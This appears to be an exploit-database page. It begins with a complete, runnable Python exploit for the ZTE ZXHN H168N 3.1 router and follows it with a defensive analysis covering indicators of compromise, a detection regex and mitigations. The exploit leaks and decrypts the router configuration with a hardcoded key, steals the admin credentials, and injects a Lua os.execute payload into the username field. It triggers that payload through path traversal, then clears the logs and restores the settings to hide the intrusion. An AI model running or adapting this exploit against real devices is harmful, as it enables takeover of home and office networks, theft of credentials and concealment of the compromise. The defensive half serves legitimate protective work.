ZTE ZXHN H168N 3.1 - Remote Code Execution (RCE) via authentication bypass

Exploit Author: tasos meletlidis Analysis Author: www.bubbleslearn.ir Category: Language: Python Published Date: 2025-04-14
# Exploit Title:  ZTE ZXHN H168N 3.1 - RCE via authentication bypass
# Author: l34n / tasos meletlidis
# Exploit Blog: https://i0.rs/blog/finding-0click-rce-on-two-zte-routers/

import http.client, requests, os, argparse, struct, zlib
from io import BytesIO
from os import stat
from Crypto.Cipher import AES

def login(host, port, username, password):
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }

    data = {
        "Username": username,
        "Password": password,
        "Frm_Logintoken": "",
        "action": "login"
    }
    
    requests.post(f"http://{host}:{port}/", headers=headers, data=data)

def logout(host, port):
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }

    data = {
        "IF_LogOff": "1",
        "IF_LanguageSwitch": "",
        "IF_ModeSwitch": ""
    }
    
    requests.post(f"http://{host}:{port}/", headers=headers, data=data)    

def leak_config(host, port):
    conn = http.client.HTTPConnection(host, port)
    boundary = "---------------------------25853724551472601545982946443"
    body = (
        f"{boundary}\r\n"
        'Content-Disposition: form-data; name="config"\r\n'
        "\r\n"
        "\r\n"
        f"{boundary}--\r\n"
    )

    headers = {
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "Content-Length": str(len(body)),
        "Connection": "keep-alive",
    }

    conn.request("POST", "/getpage.lua?pid=101&nextpage=ManagDiag_UsrCfgMgr_t.lp", body, headers)

    response = conn.getresponse()
    response_data = response.read()

    with open("config.bin", "wb") as file:
        file.write(response_data)

    conn.close()

def _read_exactly(fd, size, desc="data"):
    chunk = fd.read(size)
    if len(chunk) != size:
        return None
    return chunk

def _read_struct(fd, fmt, desc="struct"):
    size = struct.calcsize(fmt)
    data = _read_exactly(fd, size, desc)
    if data is None:
        return None
    return struct.unpack(fmt, data)

def read_aes_data(fd_in, key):
    encrypted_data = b""
    while True:
        aes_hdr = _read_struct(fd_in, ">3I", desc="AES chunk header")
        if aes_hdr is None:
            return None
        _, chunk_len, marker = aes_hdr

        chunk = _read_exactly(fd_in, chunk_len, desc="AES chunk data")
        if chunk is None:
            return None

        encrypted_data += chunk
        if marker == 0:
            break

    cipher = AES.new(key.ljust(16, b"\0")[:16], AES.MODE_ECB)
    fd_out = BytesIO()
    fd_out.write(cipher.decrypt(encrypted_data))
    fd_out.seek(0)
    return fd_out

def read_compressed_data(fd_in, enc_header):
    hdr_crc = zlib.crc32(struct.pack(">6I", *enc_header[:6]))
    if enc_header[6] != hdr_crc:
        return None

    total_crc = 0
    fd_out = BytesIO()

    while True:
        comp_hdr = _read_struct(fd_in, ">3I", desc="compression chunk header")
        if comp_hdr is None:
            return None
        uncompr_len, compr_len, marker = comp_hdr

        chunk = _read_exactly(fd_in, compr_len, desc="compression chunk data")
        if chunk is None:
            return None

        total_crc = zlib.crc32(chunk, total_crc)
        uncompressed = zlib.decompress(chunk)
        if len(uncompressed) != uncompr_len:
            return None

        fd_out.write(uncompressed)
        if marker == 0:
            break

    if enc_header[5] != total_crc:
        return None

    fd_out.seek(0)
    return fd_out

def read_config(fd_in, fd_out, key):
    ver_header_1 = _read_struct(fd_in, ">5I", desc="1st version header")
    if ver_header_1 is None:
        return

    ver_header_2_offset = 0x14 + ver_header_1[4]

    fd_in.seek(ver_header_2_offset)
    ver_header_2 = _read_struct(fd_in, ">11I", desc="2nd version header")
    if ver_header_2 is None:
        return
    ver_header_3_offset = ver_header_2[10]

    fd_in.seek(ver_header_3_offset)
    ver_header_3 = _read_struct(fd_in, ">2H5I", desc="3rd version header")
    if ver_header_3 is None:
        return
    signed_cfg_size = ver_header_3[3]

    file_size = stat(fd_in.name).st_size

    fd_in.seek(0x80)
    sign_header = _read_struct(fd_in, ">3I", desc="signature header")
    if sign_header is None:
        return
    if sign_header[0] != 0x04030201:
        return

    sign_length = sign_header[2]

    signature = _read_exactly(fd_in, sign_length, desc="signature")
    if signature is None:
        return

    enc_header_raw = _read_exactly(fd_in, 0x3C, desc="encryption header")
    if enc_header_raw is None:
        return
    encryption_header = struct.unpack(">15I", enc_header_raw)
    if encryption_header[0] != 0x01020304:
        return

    enc_type = encryption_header[1]

    if enc_type in (1, 2):
        if not key:
            return
        fd_in = read_aes_data(fd_in, key)
        if fd_in is None:
            return

    if enc_type == 2:
        enc_header_raw = _read_exactly(fd_in, 0x3C, desc="second encryption header")
        if enc_header_raw is None:
            return
        encryption_header = struct.unpack(">15I", enc_header_raw)
        if encryption_header[0] != 0x01020304:
            return
        enc_type = 0

    if enc_type == 0:
        fd_in = read_compressed_data(fd_in, encryption_header)
        if fd_in is None:
            return

    fd_out.write(fd_in.read())
    
def decrypt_config(config_key):
    encrypted = open("config.bin", "rb")
    decrypted = open("decrypted.xml", "wb")
    
    read_config(encrypted, decrypted, config_key)
    
    with open("decrypted.xml", "r") as file:
        contents = file.read()
        username = contents.split("IGD.AU2")[1].split("User")[1].split("val=\"")[1].split("\"")[0]
        password = contents.split("IGD.AU2")[1].split("Pass")[1].split("val=\"")[1].split("\"")[0]
        
    encrypted.close()
    os.system("rm config.bin")
    decrypted.close()
    os.system("rm decrypted.xml")

    return username, password

def change_log_level(host, port, log_level):
    level_map = {
        "critical": "2",
        "notice": "5"
    }

    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }

    data = {
        "IF_ACTION": "Apply",
        "_BASICCONIG": "Y",
        "LogEnable": "1",
        "LogLevel": level_map[log_level],
        "ServiceEnable": "0",
        "Btn_cancel_LogManagerConf": "",
        "Btn_apply_LogManagerConf": "",
        "downloadlog": "",
        "Btn_clear_LogManagerConf": "",
        "Btn_save_LogManagerConf": "",
        "Btn_refresh_LogManagerConf": ""
    }
    
    requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0")
    requests.get(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua")
    requests.post(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua", headers=headers, data=data)

def change_username(host, port, new_username, old_password):
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }

    data = {
        "IF_ACTION": "Apply",
        "_InstID": "IGD.AU2",
        "Right": "2",
        "Username": new_username,
        "Password": old_password,
        "NewPassword": old_password,
        "NewConfirmPassword": old_password,
        "Btn_cancel_AccountManag": "",
        "Btn_apply_AccountManag": ""
    }

    requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_AccountManag_t.lp&Menu3Location=0")
    requests.get(f"http://{host}:{port}/common_page/accountManag_lua.lua")
    requests.post(f"http://{host}:{port}/common_page/accountManag_lua.lua", headers=headers, data=data)

def clear_log(host, port):
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }

    data = {
        "IF_ACTION": "clearlog"
    }

    requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0")
    requests.get(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua")
    requests.post(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua", headers=headers, data=data)

def refresh_log(host, port):
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }

    data = {
        "IF_ACTION": "Refresh"
    }

    requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_LogManag_t.lp&Menu3Location=0")
    requests.get(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua")
    requests.post(f"http://{host}:{port}/common_page/ManagDiag_LogManag_lua.lua", headers=headers, data=data)

def trigger_rce(host, port):
    requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=ManagDiag_StatusManag_t.lp&Menu3Location=0")
    requests.get(f"http://{host}:{port}/getpage.lua?pid=123&nextpage=..%2f..%2f..%2f..%2f..%2f..%2f..%2fvar%2fuserlog.txt&Menu3Location=0")

def rce(cmd):
    return f"<? _G.os.execute('rm /var/userlog.txt;{cmd}') ?>"

def pwn(config_key, host, port):
    leak_config(host, port)
    username, password = decrypt_config(config_key)
    
    login(host, port, username, password)

    shellcode = "echo \"pwned\""
    payload = rce(shellcode)

    change_username(host, port, payload, password)
    refresh_log(host, port)
    change_log_level(host, port, "notice")
    refresh_log(host, port)

    trigger_rce(host, port)
    clear_log(host, port)

    change_username(host, port, username, password)
    change_log_level(host, port, "critical")
    logout(host, port)
    print("[+] PoC complete")

def main():
    parser = argparse.ArgumentParser(description="Run remote command on ZTE ZXHN H168N V3.1")
    parser.add_argument("--config_key", type=lambda x: x.encode(), default=b"GrWM3Hz&LTvz&f^9", help="Leaked config encryption key from cspd")
    parser.add_argument("--host", required=True, help="Target IP address of the router")
    parser.add_argument("--port", required=True, type=int, help="Target port of the router")

    args = parser.parse_args()
    
    pwn(args.config_key, args.host, args.port)

if __name__ == "__main__":
    main()


ZTE ZXHN H168N v3.1 — Remote Code Execution via Authentication Bypass: Analysis, Impact, and Mitigations

This article examines the vulnerability class affecting some ZTE ZXHN H168N firmware versions that allows remote code execution (RCE) through an authentication bypass and configuration handling weaknesses. It synthesizes public research, explains the high-level attack chain, outlines defensive detection and mitigation strategies, and provides practical recommendations for network operators, device vendors, and defenders. The goal is to inform secure remediation and incident response efforts without providing actionable exploit details.

Executive summary

  • Type: Authentication bypass combined with insecure configuration handling leading to remote code execution.
  • Impact: Full command execution on the router's operating environment, which can enable persistent compromise of home or small-office networks.
  • Affected component: Embedded web management interface and privileged configuration export/import parsing logic.
  • Risk: High — routers are network gateways and compromise can lead to lateral movement, traffic interception, and persistent footholds.
  • Mitigation: Apply vendor patches or firmware updates, disable remote management, enforce network segmentation, and monitor for indicators described below.

Technical background (high-level)

The issue is a multi-stage vulnerability chain rather than a single coding bug. In general terms, the stages are:

  • An ability for an unauthenticated actor to request or otherwise obtain a device's configuration archive (configuration disclosure).
  • An encryption or signing scheme used to protect that archive that is either known, weak, or incorrectly validated, permitting offline decryption or parsing.
  • An authenticated-management operation that accepts user-controlled input into administrative configuration fields without sufficient sanitization, which is later interpreted by an internal engine or template processor.
  • A mechanism to force the device to process the injected content in a privileged context (for example, log processing, template rendering, or configuration reload), leading to execution of injected commands.

When chained, these weaknesses allow an attacker to glean credentials or secrets from the exported config, reauthenticate (or bypass authentication), inject carefully-crafted payloads into fields that are subsequently parsed/executed, and then trigger the code path that executes the payload.

Attack flow (non-actionable, conceptual pseudocode)

# Conceptual flow only — not executable code
1. request_device_config()
2. decrypt_or_parse_config_if_possible()
3. extract_admin_credentials_or_keys()
4. authenticate_to_management_interface()
5. update_admin_field_with_malicious_content()
6. trigger_component_that_parses_admin_field()
7. achieve_remote_command_execution()
8. restore_changes_to_hide_activity

Explanation: This pseudocode describes the logical stages of the exploit without providing endpoints, parameters, or payloads. Stage 1 illustrates configuration disclosure; stage 2 covers offline analysis or decryption; stage 3 extracts secrets; stage 4 involves reusing those secrets to access admin functionality; stage 5 injects the payload into a configuration field; stage 6 triggers a privileged parser; stage 7 is the RCE event; stage 8 highlights an attacker’s attempt to remove traces. This abstraction is intended to help defenders reason about detection and mitigation.

Why routers are attractive targets

  • Network position: Routers sit at the perimeter and can intercept or redirect traffic.
  • Resource constraints: Embedded systems often lag in updates and use older libraries.
  • Default credentials: Many devices retain factory passwords or predictable management ports exposed to WAN.
  • Pervasive deployment: ISP-supplied devices often share firmware and keys across customers, amplifying impact.

Detection and indicators of compromise (IoCs)

Defenders should monitor for both pre-exploitation and post-exploitation indicators. Below are practical, non-actionable suggestions for telemetry to collect and inspect.

  • Unusual configuration export activity:
    • Frequent or off-hours requests for configuration downloads from web management endpoints.
    • Large or repeated HTTP POST/GET to non-browser user agents requesting config files.
  • Authentication anomalies:
    • Login attempts from unexpected IPs or rapid repeated logins using different usernames.
    • New administrative accounts or username changes logged in device logs.
  • Suspicious configuration changes:
    • Admin or account fields containing non-alphanumeric or script-like tokens.
    • Unexpected changes to logging levels, log destinations, or management-port settings.
  • Execution artifacts:
    • Files in writable device areas (e.g., temporary logs) that correlate with times of abnormal config updates.
    • Outbound connections or DNS requests to previously unseen domains following configuration changes.

Sample defensive detection rules (illustrative)

The following pseudoregex and IDS rule examples are meant to guide defenders in crafting signatures for anomalous admin input or config export behavior. They are intentionally generic and non-exploitable.

# Example: detect admin fields containing script-like delimiters
regex_admin_injection = r"(<\?|<%|\\u003c\\?)"

# Example: detect high-rate config export requests from a single IP
# If your logs show more than N config-download events in M minutes, flag it.

Explanation: The regex looks for common script delimiters that would appear if an attacker attempted to inject template or script code into administrative fields. The second rule is behavioral and looks for unusual automation (repeated config exports). Customize thresholds to reduce false positives based on normal device management patterns.

Mitigation and hardening recommendations

  • Firmware and patching
    • Apply vendor-issued firmware updates immediately where available. Prioritize devices exposed to WAN.
    • Work with your ISP or vendor support to confirm device versions and update procedures.
  • Network-level protections
    • Disable remote management from the WAN unless explicitly required and secured via VPN.
    • Block or restrict access to router management ports (HTTP/HTTPS/SSH) at the perimeter.
    • Use network segmentation so compromised CPE devices have limited access to internal systems.
  • Credential hygiene
    • Change factory credentials and use strong, unique admin passwords per device.
    • Consider centralized credential management for fleets of devices.
  • Configuration management
    • Limit or audit configuration export functionality; log who exported configs and when.
    • Restrict firmware and config operations to authenticated and authorized channels only.
  • Monitoring and logging
    • Collect device logs centrally and run correlation rules to detect the IoCs above.
    • Alert on configuration changes that include unusual characters or length anomalies.

Incident response guidance

  • Containment: Immediately isolate the affected device from WAN access and consider a network block to prevent lateral movement.
  • Forensic capture: Preserve configuration exports, system logs, and a memory snapshot if supported. Note timestamps and network flows.
  • Credential rotation: Reset administrative credentials and any upstream credentials that may have been exposed.
  • Reimage or restore: Reflash the device with firmware from a trusted vendor source or replace the device if the integrity cannot be guaranteed.
  • Notification: If the device belongs to customers, follow applicable disclosure and notification laws and coordinate with your vendor or ISP.

Responsible disclosure and vendor expectations

Vendors should implement secure-by-design practices for management interfaces and configuration handling, including:

  • Proper authentication and rate-limiting on sensitive endpoints.
  • Strong cryptographic protections for exported configurations (authenticated encryption) and careful key management.
  • Input validation and sanitization of administrative fields to prevent unintended interpretation by internal parsers or template engines.
  • Secure defaults: remote management disabled, unique device keys, and forced credential rotation on first use.

Practical recommendations for ISPs and MSPs

  • Maintain an asset inventory of customer-premises equipment and track firmware versions centrally.
  • Deploy network-level protections for managed devices, such as EDR/IDS monitoring and strict ACLs between customer devices and management infrastructure.
  • Offer or require secure device onboarding mechanisms (e.g., device-managed VPNs) for remote administration.

Conclusion

Vulnerabilities affecting device management and configuration export can be especially dangerous because they combine information disclosure with the ability to inject content into privileged code paths. Defenders should assume such chains can lead to complete device takeover and prioritize firmware updates, access restrictions, telemetry collection, and rapid response plans. Collaboration between operators, vendors, and security researchers remains essential to reduce the window of exposure and to mitigate future risks.

Action Priority Notes
Apply vendor firmware updates Critical First and fastest effective mitigation when available
Disable remote management from WAN High Prevent external exploitation attempts
Rotate admin credentials High Use unique strong passwords per device
Monitor config-export activity and admin-field content Medium Detect potential reconnaissance and injection attempts

Further reading and resources

  • Vendor advisories and firmware release notes — consult your device manufacturer or ISP support portal.
  • Vendor security best practices for embedded devices and management interfaces (e.g., OWASP IoT Top 10).
  • Network defensive guidance on monitoring and hardening CPE devices from CERTs and ISACs.